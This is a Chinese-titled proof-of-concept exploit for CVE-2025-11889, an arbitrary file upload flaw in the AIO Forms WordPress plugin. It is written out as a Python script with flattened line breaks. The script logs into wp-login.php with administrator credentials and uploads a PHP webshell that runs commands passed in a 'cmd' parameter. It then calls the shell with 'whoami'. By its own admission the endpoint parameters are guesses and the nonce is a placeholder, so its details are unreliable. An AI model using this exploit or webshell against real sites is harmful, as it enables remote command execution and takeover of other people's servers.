CVE-2025-11889 WordPress AIO Forms插件任意文件上传漏洞

import requests import sys # CVE-2025-11889 PoC - AIO Forms WordPress Plugin Arbitrary File Upload # Target: WordPress site with AIO Forms plugin <= 1.3.18 # Authenticated as Administrator or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "password" def get_auth_token(): """Obtain WordPress nonces and authentication cookies""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() # Get login page to obtain nonce response = session.get(login_url) # Attempt login login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return None, None print("[+] Authentication successful") return session, session.cookies def upload_webshell(session, cookies): """Upload malicious PHP file via import functionality""" # PHP webshell content webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Find the import endpoint import_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Prepare the malicious file files = { 'file': ('malicious.php', webshell, 'application/x-php') } # The actual parameter names may vary - this is a generic approach data = { 'action': 'aio_forms_import', 'nonce': 'extracted_nonce_here' } print("[*] Attempting to upload webshell...") response = session.post(import_url, files=files, data=data, cookies=cookies) # Check for successful upload if response.status_code == 200: print("[+] File upload may have succeeded") print(f"[+] Response: {response.text}") # Try to access the uploaded file webshell_url = f"{TARGET_URL}/wp-content/uploads/malicious.php" test_response = session.get(webshell_url, params={'cmd': 'whoami'}) if test_response.status_code == 200: print(f"[+] Webshell uploaded! Access at: {webshell_url}") print(f"[+] Command output: {test_response.text}") return True print("[-] Upload failed or target not vulnerable") return False if __name__ == "__main__": session, cookies = get_auth_token() if session: upload_webshell(session, cookies) # Note: This PoC requires valid administrator credentials. # The actual exploitation may require additional enumeration to find # the correct upload endpoint and parameter names.